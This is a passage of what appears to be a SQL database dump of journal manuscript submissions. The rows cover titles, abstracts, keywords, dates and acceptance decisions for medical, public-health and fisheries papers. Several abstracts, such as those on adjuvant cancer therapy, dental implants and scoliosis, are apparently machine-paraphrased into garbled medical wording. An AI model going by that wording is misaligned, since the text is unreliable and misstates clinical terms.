microenvironment to all the more promptly direct the course of treatment.','immunotherapy; oncolytic contaminations; NK cells; hematological',4739,NULL,'2021-10-04',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(10930,10306,971,0,'ipaclr-21-10930','Cytology of Oral Squamous cell carcinoma Case Reports and Short Review',NULL,2,0,'','Oral exfoliative cytology is a simple yet a powerful tool for early detection of potentially malignant\r\ndisorders of the oral mucosa as well as for some viral and fungal infections, that involves the use\r\nof inexpensive instruments. The proper role of oral cytology in cancer diagnosis and detection has\r\nbeen studied by many researchers. Analysis of recent investigations confirms that the smear\r\ntechnic gives excellent results although not a substitute for biopsy, is an accurate diagnostic adjunct\r\nfor the early detection of oral cancer. The use of oral exfoliative cytology in clinical practice\r\ndeclined due to the subjective nature of its interpretation, because there may be only a small\r\nnumber of abnormal cells identifiable in a smear. The more recent application of quantitative\r\ntechniques has refined the potential role of cytology, stimulating a reappraisal of its value in the\r\ndiagnosis of oral cancer. These studies indicate that oral cytology may provide an important\r\nadjunct in the assessment of the patient with a potentially cancerous oral lesion.','Oral exfoliative cytology, oral cancer.',4702,NULL,'2021-10-05',NULL,'Submitted',2,NULL,'2021-12-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10970,11507,959,0,'ipacr-21-10970','Overview of Adjuvant therapy in different sorts of Cancers',NULL,3,2,'','Essential careful administration is fruitful as the sole restorative methodology in most of ladies with beginning phase cervical, vaginal and vulvar malignant growth, yet the presence of specific danger factors in the surgico-neurotic example shows a less fortunate guess. Adjuvant treatment can work on in general endurance in such cases. Significant danger factors in cervical disease incorporate transitional danger factors (enormous cancer size, profound cervical stromal intrusion, lymph-vascular space attack) and high-hazard factors (positive or close edges, lymph hubs, or parametrial contribution). In vulvar malignant growth, positive edges and lymph hubs are the two most significant variables for adjuvant treatment. Radiation treatment has been the pillar of adjuvant treatment in these diseases, enhanced by chemotherapy','chemoradiation, adjuvant treatment, inguinofemoral lymphadenectomy, gynecological malignancy.',3216,NULL,'2021-10-06',NULL,'Submitted',19,NULL,'2021-10-08',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(10975,11512,639,0,'ipfs-22-10975','Fish biodiversity of Chapai Beel in Faridpur, Bangladesh: Present status, Threats identification and Recommendations for Conservation through sustainable management',NULL,5,0,'','The present study was undertaken on Chapai beel in Faridpur Sadar Upazila, Bangladesh to determine the fish biodiversity and to find out the problem related to fisheries biodiversity and also will make an important contribution to the development of an appropriate beel fisheries management policy in order to conserve fisheries biodiversity. A field investigation was conducted on the existing status of fishery for a period of 1 year from January to December 2020. The Chapai beel is semi-closed and has an arc-shaped water body of 84.86 ha spreading over the seven villages with covering the two unions and two Upazilas of Faridpur district. A total of 47 species (including 6 exotic species) were identified during the study. Of the 47 species, 41 were indigenous species belonging to 17 fish families, 12 different common groups and 32 fish genera; of which 25 were SIS and the remaining 16 were large fish. Cyprinidae constitutes highest number of fish population representing 15 species and shares the highest percentage (37%) among the recorded family. Barbs & Minnows was found to be the biggest group (22%) among the recorded 12 common groups. From the Chapai Beel 6 fish species were recorded as threatened which is 9% of total threatened fishes of Bangladesh. Within 41 species, 36.58% fish species were ranked as abundant followed by moderate (24.40%), low (19.51%), and rare (19.51%). The present study suggests that prudent planning, management and regulatory practices, as well as active community engagement, can positively impact fish biodiversity.','Beel fishery, Fish biodiversity, Conservation, Sustainable management, and Chapai beel',1774,NULL,'2021-10-06',NULL,'Submitted',2,NULL,'2022-08-09',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10979,11515,45,0,'iphsj-21-10979','THE RELIABILITY OF CARPENTER’S TRISQUARE MEASURE FOR ASSESSMENT OF POSTURAL IMAPAIRMENTS IN GERIATRIC INDIVIDUALS WITH SYMPTOMATIC OSTEOARTHRITIS OF KNEE - AN OBSERVATIONAL STUDY',NULL,5,0,'','Context: Knee osteoarthritis (OA) is one of the most prevalent musculoskeletal complaints worldwide. Age-related impairments in balance and postural stability are well documented. Ageing is associated with a decline in the integrity of the physiological systems that contribute to the control of balance. Improve postural alignment may also have a positive impact on balance reactions, thus decreasing the risk of hip fracture from falling.\r\nAim: The aim of the study was to find out reliability of carpenter’s trisquare measure for assessment of postural impairments in geriatric individuals with symptomatic osteoarthritis of knee.\r\nStudy settings and Design: An observation study was carried out in hospitals and societies\r\nMethod and Material: For measure Intra and Inter rater reliability of carpenter’s trisquare(CT) for 24 geriatric individuals with symptomatic osteoarthritis of knee should be taken. All measurements were taken for 3 times by both rater and the mean values of 3 tests were calculated. The CTM tool was used twice by same rater (Rater A1 and Rater A2) at different time (after 24 hours of duration) and at first day used for once by rater B.\r\nStastical analysis: Data was analysed by using SPSS Version 20. Intra and Inter rater reliability of CT were assessed by Pearson\'s correlation coefficient.\r\nResults: Pearson\'s correlation coefficient value for Inter and Intra rater reliability is show good to moderately positive correlation of carpenter’s trisquare measures.\r\nConclusion: Carpenter’s trisquare measure appears to be reliable tool for assessment of postural impairments in geriatric individuals with symptomatic osteoarthritis of knee. carpenter’s trisquare tool for measuring postural impairments in less time, easy to access with periodically at clinic with more precisely.','Carpenter’s trisquare measure(CTM), Osteoarthritis (OA) knee, Forward head position(FH), CT Ear(CTE), CT Shoulder(CT Sh), CT Hip(CTH), CT Knee(CTK), CT Ankle(CT An), postural impairments',458,NULL,'2021-10-06',NULL,'Submitted',2,NULL,'2021-10-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10980,11516,85,0,'iphspr-21-10980','Family Socio Economic Status and Child wellbeing in Ethiopia',NULL,14,0,'','Abstract \r\n\r\nBackground\r\nAccording to the 2011 EDHS report 1 in every 17 Ethiopian children die before their first birthday, while 1 in 11 children die before their fifth birthday. Acute respiratory tract infection, malaria, diarrhea, measles and malnutrition account for 90% of children’s deaths in developing countries. Different studies have indicated that this problem of child wellbeing has shown disparities across socioeconomic gradients within most countries.\r\n\r\nObjective \r\nBy using a 2011 Ethiopian demographic health survey, a national representative survey, we assessed the existence of disparities of child illness, malnutrition and immunization across family socioeconomic status in Ethiopia.\r\n\r\nDesign \r\nWe conducted a cross sectional analysis of a nationally representative sample collected on demography and health of the Ethiopian population. We developed a model that captures the associations of family socioeconomic status and child wellbeing, and using the model we ran a probit regression analysis for estimating associations between family socioeconomic status and child wellbeing.\r\n\r\nResult \r\nFrom the analysis of the model we have found variations across residence places, residence regions, wealth Index and mother’s educational status for child immunization and nutrition measuring variables. A child born in a family in the richest wealth quintile (top 20% of households) was 11.3% more likely to be vaccinated during his/her past years than a child born in a family in the poorest wealth quintile (lowest 20% of households). Also a child born in the richest wealth quintile was 11% less likely to be stunted than a child born in the poorest wealth quintile. Similarly a child born in a household with a mother who has received a tertiary education was found to be 31.8% less likely to die than a child born in a family of mothers with no education. Children of mothers who have participated in literacy were found to be 6.4% more vaccinated during their past years than non participants.\r\n\r\nConclusion \r\nThe association between lower wealth quintile, lower mother educational status and rural residence was found to be positively correlated with lower probability of child immunization and poor nutritional status. Furthermore, children born in a household in a lower wealth quintile, and to mothers with a lower educational status were found in worse conditions in terms of having access to vaccines and sufficient, good quality nutrition.','Family Socio Economic Status, child Wellbeing,Ethiopia,',3282,NULL,'2021-10-06',NULL,'Submitted',2,NULL,'2021-12-21',NULL,1,1,'1','Accepted the article',0,'','',NULL,0,0,0,NULL,0),(10994,11523,251,0,'ipacm-21-10994','Examination of various antibiotics on mycoplasma bacterial contamination in the human K562 chronic myeloid leukemia cell line culture ',NULL,14,0,'','Mycoplasma is one of the most common contaminants in the mammalian cell culture. The contamination of the chronic myeloid leukemia cell line was tested with a different type of antibiotics (Cocktail of 10000 U/mL Penicillin and 10000 µg/mL Streptomycin, Ciprofloxacin, Gentamycin, Tetracycline). The bacteria responsible for this contamination is morphologically identified as mycoplasma. Even though there are several reports of treatment for mycoplasma, there is a lack of study on the contamination of K562 cell line by mycoplasma. In this context, the present study got its importance, here cocktails of streptomycin and penicillin antibiotics as well as individual gentamycin, tetracycline and ciprofloxacin were used to study the extent of contamination by mycoplasma. The observations of the present study show that the bacterial growth was higher in the cell-free medium as compared to that of the medium incubated with the cells. Furthermore, the study confirmed the enhanced antibacterial activity of gentamicin and tetracycline against contaminated K562 cell lines. At the same time, the physiological activity of the mycoplasma bacteria was higher in the case of cells treated with the ciprofloxacin and the cocktail of penicillin & streptomycin. ','Antibiotics treatment, K562 cell line, Mycoplasma contamination ',2876,NULL,'2021-10-07',NULL,'Submitted',2,NULL,'2021-11-12',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(10996,11524,91,0,'ijddr-21-10996','Quantitative Phytochemical Analysis and potential applications of the Ethanol and Aqueous-ethanol Extracts of some selected plant in family Zingiberaceae plants for cosmeceutical and health-promoting food',NULL,14,2,'','The rhizomes of the Zingiberaceae family are a vegetable widely used in many Asian nations, and their therapeutic properties have been acknowledged in many traditional recipes. In this work, 3 species of Zingiberaceae plants including Curcuma longa, Curcuma zedoaria and Curcuma aromatic were gathered and evaluated for their phytochemical contents, anti-inflammatory and anti-oxidant characteristics using the aqueous-ethanol (30:70%) and ethanol (95%) extraction and varying according to single and mixed extracts (1:1:1 and 2:1:1 ratio respectively) for determining the synergistic effects. The results indicated that extracts of the three selected plant contained at least 5 from 13 phytochemical constituents. The single aqueous-ethanol extract of C. aromatica Salisb. and synergy achieved at 1:1:1 ratio of aqueous-ethanol extract showed the highest effective anti-inflammatory activity. The greatest antioxidant activity was found in a single ethanol extract of C. zedoaria (Christm.) and synergistically obtained at a 1:1:1 ratio of aqueous-ethanol extract. Furthermore, we discovered that combination extract produced greater outcomes than utilizing the mono extract alone. Our results demonstrate that screening for chosen Zingiberaceae plant extracts is a favorable representation of the value of screening for cosmetically and medicinal purposes. ','',4940,NULL,'2021-10-07',NULL,'Submitted',19,NULL,'2021-11-09',NULL,1,1,'1','    ',0,'','',NULL,0,4,0,NULL,0),(11008,11533,85,0,'iphspr-21-11008','Feedback-Informed Treatment in Mental Health Services with Spanish-Speaking Patients: From Outcome to Process Monitoring',NULL,3,0,'','Feedback-informed treatment (FIT) represents a relevant development in providing psychological therapies in mental health services. FIT can be considered a practice of measurement-based care in which clinical decisions are informed by patients’ data collected throughout treatment (Scott & Lewis, 2015). FIT involves using standardised measures for routine-outcome monitoring with a computerised system throughout the whole treatment process (Delgadillo et al., 2018). The patient’s response to treatment is measured session by session, and this information is then relayed to the therapist and the patient in real-time (Duncan & Sparks, 2016). The outcome reported by the patient is compared with an expected treatment response (Lutz, 2003) which is used for gauging a patient’s progress and alerting when change is not occurring as predicted (not-on-track –NOT– response). With this risk signal, the therapist and patient can identify and resolve the obstacles to improvement. In this regard, FIT is aimed to tailor the intervention to the individual patient allowing the therapist to make empirically-based decisions to adapt the focus of the treatment throughout the therapeutic process (Lutz et al., 2006).','Numerous system, health system , global health',3413,NULL,'2021-10-08',NULL,'Submitted',2,NULL,'2021-10-28',NULL,1,1,'0','Article is accepted',0,'','',NULL,0,0,0,NULL,0),(11025,11330,326,0,'IPJUS-21-11025','Advances in dental implants',NULL,5,0,'','Dental implants are a typical treatment for the deficiency of teeth. This paper sums up current information on embed surfaces, prompt stacking versus regular stacking, short embeds, sinus lifting, and custom inserts utilizing three-dimensional printing. The majority of the embed surface adjustments showed great osseointegration results. Concerning coatings, which have been as of late created and examined, great outcomes were seen in creature tests. Quick stacking had comparative clinical results contrasted with regular stacking and can be utilized as an effective treatment since it enjoys the benefit of decreasing treatment times and giving early capacity and feel. Short embeds showed comparative clinical results contrasted with standard inserts. An assortment of sinus expansion methods, uniting materials, and elective strategies, like shifted inserts, zygomatic embeds, and short embeds, can be utilized. With the advancement of new innovations in three-measurement and PC supported plan/PC helped fabricating (CAD/CAM) redid inserts can be utilized as an option in contrast to regular embed plans.','Implants, Teeth, Dental',2505,NULL,'2021-10-08',NULL,'Submitted',2,NULL,'2021-10-13',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11030,11330,326,0,'IPJUS-21-11030','Surgical Complications of Gynecologic Surgery',NULL,5,0,'','Complications of gynecological medical procedure are significant and when assessed exhaustively are practically startling. There is not a viable alternative for experience and personal information on the perplexing pelvic designs in wellbeing and sickness. Any individual who is dynamic in the field is sometime going to encounter some trouble whether it be because of his erroneous conclusion or to inborn conditions in the patient which are past his/her control. It is the obligation of the pelvic specialist to perceive the complexity and apply appropriate restorative measures. The patient ought not be given bogus any desires for sure achievement nor should she be denied of whatever expect achievement exists.','Complications, Gynecologic, Surgery',2505,NULL,'2021-10-08',NULL,'Submitted',2,NULL,'2021-10-13',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11031,11549,45,0,'iphsj-21-11031','Hypoglycemia and Nocturnal Hypoglycemia; Diabetes Complications',NULL,14,0,'','Hypoglycemia along with Nocturnal Hypoglycemia are common complications among diabetic patients owing to the use of antidiabetic drugs, lack of energy and food intake at night. There are many deaths reported in the past few years due to these conditions so these have to be addressed. The objectives of this study was to review current literature relating hypoglycemia and nocturnal hypoglycemia, along with their symptoms, risk factors and management. It was necessary to conduct a systematic evaluation of evidence utilizing internet sources like MEDLINE and Pubmed. Language was considered, as well as whether or not the article was published in a peer-reviewed journal, if it was published after 2010. More researches should be conducted regarding the complications of nocturnal hypoglycemia and its occurrence in diabetic as well as non-diabetic individuals. Although ample data is provided on hypoglycemia but nocturnal hypoglycemia is yet to be addressed and researched. Patients often suffering from this condition should also be properly investigated by a healthcare professional.','Hypoglycemia, Nocturnal hypoglycemia, Diabetic patients, Non-diabetic patients, Antidiabetic',4610,NULL,'2021-10-08',NULL,'Submitted',4,NULL,'2022-02-17',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11038,11557,45,0,'iphsj-21-11038','Case Report: LDAC for the Treatment of Post-Splenectomy Newly Diagnosed PMF Patent with Oral Treatment Inability ',NULL,2,0,'','Primary myelofibrosis (PMF) is a hematologic malignancy belonging to Ph negative myeloproliferative neoplasms (MPN), and it is commonly characterized by a higher risk of acute myeloid leukemia (AML) transformation (1). According to NCCN Guidelines 2021, if disease progression to an advanced phase or AML occurs, treatment for non-transplant candidates includes three main options: hypomethylating agent (HMA) with or without JAK inhibitors, low-intensity chemotherapy, or a clinical trial with novel agents (2). The aim of this case report is a demonstration of treatment with low dose cytarabine (LDAC) for a non-transformed newly diagnosed PMF patient with the inability of oral therapy and post-splenectomy complications.','myelofibrosis, splenectomy, thrombosis, cytarabine, treatment',3691,NULL,'2021-10-10',NULL,'Submitted',2,NULL,'2021-10-26',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11040,11559,85,0,'iphspr-21-11040','Is My Condition Permanent, Doctor?',NULL,14,0,'','Background: The IDF determines a medical profile for each soldier regarding his or her medical status. Soldiers in mandatory military service may receive a temporary disqualifying profile due to medical conditions with three possible outcomes: (1) medical discharge with a permanent disqualifying profile, (2) receiving a fit-for-service medical profile and continuing military service, or (3) medical discharge with a \"temporary\" profile.\r\nObjective: To assess the efficiency of temporary disqualifying medical profile for mandatory soldiers. \r\nMethods: We conducted a retrospective cohort study over a15 year period (2005-2019) among soldiers who appeared before a medical board and received temporary disqualifying profile medical profiles. Specific medical profiles were classified by medical specialty and analyzed with relativity to the different endpoints of the soldier. \r\nResults: During the study 73% of soldiers who were temporarily unfit medically did not return to active duty and only 4.9% returned with combat readiness. Nephrology, psychiatry and pulmonology were the medical specialties with the best chances for returning to duty following a temporary unfit profile.\r\nConclusions: Policy makers in the IDF should consider a paradigm shift regarding \"temporary\" disqualifying medical profiles.\r\n','medical profile, temporary disqualifying profile, health policy, occupational fitness',3282,NULL,'2021-10-10',NULL,'Submitted',4,NULL,'2021-11-30',NULL,1,1,'0','Accepted the Article.',0,'','',NULL,0,0,0,NULL,0),(11049,11567,959,0,'ipacr-21-11049','Role of Metformin in Triple-Negative Obese Patients',NULL,15,0,'',' Triple negative breast cancer (TNBC) is the most aggressive type of breast cancer. It is a heterogeneous disease that is based on immune histochemistry analyses. 1. It is negative for estrogen receptor, progesterone receptor and human epidermal growth factor receptor 2.TNBC is significantly observed in young African American women and Hispanic women who carry\r\na mutation in the BRCA gene. Obesity has an increased risk for developing TBNC, especially for premenopausal and post-menopausal women. The relation between obesity and TNBC remains difficult to understand. Many studies hypothesized that increased adipose cytokine, Adipokine, mainly Apelin levels due to obesity could be a major factor contributing to both tumor growth and metastasis in TNBC obese patients. Poor prognosis and poor response to treatment are the major characteristics of TNBC. The anti-type II diabetes drug metformin can reduce risk of breast\r\ncancer, improves survival of breast cancer patients. It helps to inhibit specific molecular subtypes. Also, Metformin inhibits cell proliferation, colony formation, GM1lipid rafts in TNBC.\r\nIt activates intrinsic and extrinsic metformin signaling pathways only in TNBC cell lines. These  breast cancer cells are extremely dependent on glucose and lipids which are metabolized for the\r\nproduction of energy and proliferation of TNBC cells. So, metformin can induce lipid metabolisms, especially targeting fatty acid synthase, cholesterol biosynthesis. Many researches\r\ndemonstrated that Metformin can stop several strong enzymes going into glucose metabolism. It has significant role on inhibiting carbohydrate metabolism and lipid metabolism. By increasing\r\nkey metabolic defect of carbohydrate and lipid metabolism this drug can reduce obesity for TNBC patients. The actual aim of this paper to highlight the partial role of metformin in cellular\r\nbuilding blocks and in decreasing a high rate of Triple negative breast cancer cells proliferation, especially against highly aggressive malignant cancer cells for Triple negative breast cancer\r\nobese patients.','breast cancer, estrogen, progesterone receptor',3142,NULL,'2021-10-11',NULL,'Submitted',2,NULL,'2021-11-18',NULL,1,1,'1','Accepted for publication',0,'6883','kiranleela_r@omicsgroup.co.in',NULL,0,0,0,NULL,0),(11057,11574,975,0,'ipjbs-21-11057','Potentially Inappropriate Medication Use among Older Adults using the 2019 American Geriatrics Society Beer’s Criteria ',NULL,14,2,'','Background: The number of elderly people expected to grow from 524 million in 2010 to 1.5 billion in 2050, predominantly in developing countries. Older people are prone to age-related disease comorbidity, and poly pharmacy, which made medication prescription often inappropriate and inaccurate. Therefor prescribing medication appropriately is concerning issues in older adults. This study was aimed to determine the prevalence of potentially inappropriate medication use and associated factors in an Ethiopian hospital.\r\nMethods:  A facility-based cross-sectional study design was employed for patients aged 65 and above years. American geriatrics society Beers 2019 evidence-based criteria were used to collect data and to identify Potential inappropriate medications.  Descriptive statistics and binary logistic regression were used to describe and identify potential predictors of PIMs use. Statistical analyses were done by using the Statistical package for social science Software version 23 (SPSS® 23).\r\nResult: From 675 older patients visited during the study period, 236 patients were included in the study. The magnitude was 47% with 131 PIMs giving a mean ± SD of 1.2 ± 0.5 were identified during the study period. Most of the patients 95 (40.3%) had only one PIM and glibenclamide was the most common inappropriately prescribed drugs. Patients with cardiovascular disorder (AOR = 4.0, 95% CI; 2.0, 8.4) and endocrine disorder (AOR=, 2.6; 95% CI, 1.5, 4.6) had significant association with PIM use.\r\n Conclusion: Prescribing of PIM is common among Ethiopian elderly patients. The patient\'s having cardiovascular disorders or endocrine disorders were more likely to have increased use of PIMs among older patients. \r\n','Elderly, Potential inappropriate medication, Beer’s criteria, Comorbidity ',3460,NULL,'2021-10-11',NULL,'Submitted',19,NULL,'2021-10-13',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(11073,11584,251,0,'ipacm-21-11073','Reliability of Rapid Urine Test for the Laboratory Diagnosis of Urinary Tract Infections among the Out-patients.',NULL,14,0,'','Objectives: UTIs could be wrongly diagnosed by chromogenic dipsticks especially in the case of early infection. Hence, the need to evaluate the sensitivity of the dipstick in comparisms to conventional method, microscopy.\r\nMethods: Sample size was obtained using standard normal distribution within 95% CI. Three hundred and seventy urine samples were collected after obtaining consent and ethical approval. WBCs and RBCs were counted after staining the slide and view at high-power microscope. All the positive samples were subjected to urinalysis using chromogenic dipsticks with ten biomarkers. The data was processed using descriptive statistics and represented with Graph Pad Prism version 6.01. \r\nResults: The gender distribution 33.5% and 66.5% for male and female respectively while age ranges from less than 1 year to greater than 60 years. Only two hundred (200) had WBCs by microscopy with 0-4 cells (73.5%), 5-9 (9.5%) and 10+ (17%). These positive samples were subjected to urinalysis. Among other biomarkers, protein and nitrite are 49.5% and 36% respectively. High alkalinity (pH 9) was observed in the 18% of the urine sample investigated. Out of the positive samples to microscopy, only 27.5% were confirmed positive by chromogenic dipsticks. \r\nConclusion: The sensitivity of the dipstick cannot be absolutely rely upon because of undetectable level of some enzymes required for the colour change. This can result into false negative in the diagnosis of UTIs.','UTIs, Biomarkers, Microscopy, Undetectable level, Leucocytes.',3944,NULL,'2021-10-12',NULL,'Submitted',2,NULL,'2021-11-12',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(11083,11593,45,0,'iphsj-21-11083','Predisposing Factors to Anaemia among Pregnant women in Wassa East district of the Western Region of Ghana.',NULL,14,0,'','Abstract\r\nObjectives: The objectives of this study was to determine the factors which contribute to the high prevalence of anaemia among pregnant women in Wassa East District, it was also to find out the adherence to current interventions implemented by the Ghana Health Service such as deworming, nutrition education and provision of Iron and folic Acid table during pregnancy and finally to determine the prevalence of anaemia in the district.\r\nMethods: a descriptive cross-sectional study was employed in this study. A sample size of 50 pregnant women who met the inclusion criteria were recruited in the study. Hbs of pregnant women were obtained from their maternity record books and other information were obtained using a semi-structured questionnaire.\r\nResults: It was reveal that the prevalence of anaemia among pregnant women in the district was 74% which is above the National average of 45%. It also came to light that woman who were not using LLINs, suffered some form of food insecurity and were not on SP were most likely to have low HB level. It was also revealed that access to quality four- star diet which contains all the required nutrition was a major challenge to pregnant women in the district.\r\nConclusion: Efforts towards reducing anaemia in pregnant should target improving food security. Ghana Health Service through the Reproductive and Child Health Unit, Nutrition and Health Promotion Divisions should intensify health education and lobby for nutrition sensitive interventions in their operational areas.\r\n','Anaemia, Iron, Folic Acid, food security',4076,NULL,'2021-10-12',NULL,'Submitted',2,NULL,'2021-10-29',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11084,11594,45,0,'iphsj-21-11084','TAKOTSUBO SYNDROME: ON THE PURPOSE OF A CASE',NULL,2,0,'','Takotsubo syndrome occurs in response to a stressful event that causes acute dilation of the left ventricle, ventricular dysfunction, elevation of biomarkers of myocardial damage, and electrocardiographic changes without evidence of significant coronary lesions. It typically occurs in postmenopausal women and is reversible in most cases. A series of two female patients, in the fifth and eighth decade of life, with taktsubo syndrome is reported. The incidence in Latin America is unknown, it was initially described in the Far East (Japan), there are few cases reported in Colombia, however, this case occurred very recently, which makes us suspect that this pathology is more frequent than expected in our country. medium, and which are probably underdiagnosed due to their similarity to acute coronary syndrome.\r\n','Key words: Takotsubo syndrome, Colombia, Cardiomyopathy.',3430,NULL,'2021-10-12',NULL,'Submitted',2,NULL,'2021-12-08',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11085,11595,85,0,'iphspr-21-11085','Assessing the Level of eHealth in Africa Using Nigeria as a Model: Barriers and Innovations',NULL,14,0,'','Despite the growing global success in eHealth and the transition of health care systems to a more accessible form for all (eHealth), not all countries find it easy to adopt and adapt this trending health care format. Most countries are posed with huge challenges to the eHealth transition. This study is aimed to highlight some challenges faced by most countries especially the Low- and Middle- Income Countries (LMIC) in Africa, using Nigeria as a model, in the transition to and adoption of eHealth. There are a number of possible challenges/barriers to the adoption of eHealth in Nigeria some of which includes; Level of education and literacy of the general public, Poor Leadership and Governance, Poor internet services and technology, Legislation, Policy & Compliance, Infrastructure, Workforce, and so on thus, for a full-scale implementation of eHealth the aforementioned must be properly considered and solutions proffered. Some of such solutions include; implementation of robust Electronic Medical Records (EMRs) in primary health care centers across the nation, regular dissemination of the right health information to a targeted population (patients, caregivers, etc.).','ehealth, ehealth in Africa, ehealth in Nigeria, LMICs, EMRs, Electronic Medical Records',4826,NULL,'2021-10-12',NULL,'Submitted',2,NULL,'2021-11-27',NULL,1,1,'1','                 ',0,'','',NULL,0,0,0,NULL,0),(11090,11330,326,0,'IPJUS-21-11090','A Brief note on Laparoscopic surgery',NULL,5,0,'','Laparoscopic surgery has existed since the advancement of symptomatic laparoscopy during the 1960s. The pioneers of laparoscopic medical procedure Semm K and Muehe E transformed it from an analytic to a surgery toward the start of the 1980s, and it has since turned into a regularly applied method for a wide field of signs. The technique has turned into the highest quality level for some organ frameworks, with probably the most widely recognized being conceptive (especially gynecological) and stomach related (concerning cholecystectomy). Huge upgrades in careful preparing, just as advancements of instruments, imaging, and careful strategies, have made laparoscopic medical procedure protected and attainable across various clinical fields.','Laparoscopic; Surgery; Strategies',2505,NULL,'2021-10-13',NULL,'Submitted',2,NULL,'2021-10-18',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11091,11330,326,0,'IPJUS-21-11091','Scoliosis – Surgical treatment',NULL,5,0,'','Scoliosis has been tormenting clinical specialists for millennia. In 3,500 BC antiquated Hindu texts depict a lady whose back was disfigured in three better places. It took the intercession of the Hindu God Krishna to fix her, by putting his feet on hers and pulling her up by the jaw. Hippocrates himself attempted to get patients by strong them a foothold. From that point forward, scoliosis treatment has been reformed by the presentation of: supports by Pare in 1510, the back combination by Hibbs in the mid 1900s and all the more altogether in the new past, the spinal instrumentation framework created by Harrington. \r\nScoliosis comes from the Greek Word \"skoliosis\" which means slanted. It is a mind boggling three-dimensional distortion of the spine described by a sidelong deviation of somewhere around 10 degrees with a revolution of the vertebra and for the most part connected with decrease of typical kyphotic arch of the spine (Hypokyphosis).','Scoliosis; Surgery; Hypokyphosis',2505,NULL,'2021-10-13',NULL,'Submitted',2,NULL,'2021-10-18',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(11092,11600,45,0,'iphsj-21-11092','Factors associated with pre-lacteal feeding in Eastern Ethiopia, 2021.',NULL,14,0,'','Abstract\r\nIntroduction: Pre lacteal feeds are foods and/or drinks other than human milk, given to newborn babies before breastfeeding initiation. It is a common neonatal feeding problem in developing country like Ethiopia, where infant and child mortality rate is quite high.  \r\nObjective: The aim of this study was to assess the proportion and factors associated with pre lacteal feeding among mothers who attended the child immunization clinic in the public health facilities of Dire Dawa city, Eastern Ethiopia.\r\nMethod: Health facility based cross-sectional study was employed from February 1–30/2021 in the public health facilities of Dire Dawa city among 308 mothers-child pairs. The data were collected by systematic random sampling technique, then entered into Epi data 4.2 and analysed using statistical package for social science 25.0 version. Bivariate and multivariate logistic regression analyses was employed to estimate the crude odds and adjusted odds ration with a CI of 95% and a P value of < 0.05 considered statistically significant. \r\nResult: In this study, the proportion of pre lacteal feeding was 15.7%, [95% CI: 11.8-19.6%]. Mothers age 15-24 years [AOR=3.39, 95% CI= 1.21-9.51], having no history of antenatal visit [AOR=4.71, 95% CI=1.32-16.81], home delivery [AOR=3.50, 95% CI=1.12-10.97], caesarean section delivery [AOR=4.23, 95% CI=1.27-14.13], not counselled on exclusive breastfeeding [4.10, 95% CI=1.03-16.27], delayed initiation of breastfeeding [AOR=3.08, 95% CI=1.01-9.48], poor practice of colostrum feeding [AOR=3.80, 95% CI=1.20-12.04], and poor knowledge of colostrum and breastfeeding [AOR=4.31, 95% CI=1.54-12.10] were associated with pre lacteal feeding. \r\nConclusion: In the present study, mothers who had practiced pre lacteal feeding was high compared to compared to the 2016 Ethiopian demographic health survey report. Socio-demographic, reproductive, knowledge and practice related factors were predictors of pre lacteal feeding. Therefore, there is a need of educating and counselling the mothers on the danger of pre lacteal feeding.\r\n','Keywords: Bahir Dar University; Dire Dawa; Knowledge; Pre lacteal feeding; Practice ',295,NULL,'2021-10-13',NULL,'Submitted',2,NULL,'2021-12-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11093,11601,86,0,'ipaom-21-11093','Use of Everolimus in Tuberous Sclerosis Related Renal Angiomyolipoma : Two Case Reports',NULL,2,0,'','Tuberous sclerosis complex  is a genetic disorder characterized by the growth of hamartomas virtually any organ in the body. It is a rare disease and caused by mutations in the TSC1 or TSC2 genes. Mammalian rapamycin target pathway inhibitors have proven efficacy in the treatment of the disease. Everolimus treatment is recommended in patients with renal angiomyolipoma associated with tuberous sclerosis complex, even if they are asymptomatic, in the presence of lesions of 3 cm or more.\r\nIn this article, we shared the clinical course of 2 patients with renal angiomyolipomas associated with tuberous sclerosis complex followed by everolimus.\r\nThe first patient was a 24-year-old male and the second was a 31-year-old female.  Both cases diagnosed after ruptured angiomyolipoma\r\nOn admission of the first case, multiple renal angiomyolipomas with the largest diameter of 47 mm were detected. With a 10 mg dose of everolimus, an approximately 20% reduction in the lesion was observed in the 3-years follow-up. No drug-related side effects were detected.\r\nIn the second case, approximately 20 cm diameter of renal angiomyolipoma was detected at presentation. Everolimus was started at a dose of 10 mg, and the dose was reduced to 5 mg in the first year of treatment due to recurrent grade 2 stomatitis and grade 2 hematological side effects. The patient is followed up as stable disease in the second year.\r\nIn conclusion;  everolimus is an effective and safe drug in the treatment of tuberous sclerosis-related renal angiomyolipomas. To our knowledge, it seems rational to continue everolimus treatment unless there are unmanageable side effects despite dose reduction and failure of RAML control. \r\n',' Everolimus, mTOR,renal angiomyolipoma,tuberous sclerosis complex.\r\n',3081,NULL,'2021-10-13',NULL,'Submitted',2,NULL,'2021-12-07',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11101,11607,639,0,'ipfs-21-11101','A STUDY ON BENEFIT COST RATIO OF STINGGING CATFISH (HETEROPNEUSTES FOSSILIS) CULTURED IN BIOFLOC AND EARTHEN POND SYSTEMS IN DINAJPUR SADAR UPAZILA',NULL,14,2,'','\r\nThe present study was conducted to determine the cost and benefit analysis on Heteropneustes fossilis between biofloc and pond culture farming in Dinajpur Sadar Upazilla, during the period of 6 months from July 2020 to December 2020. A total 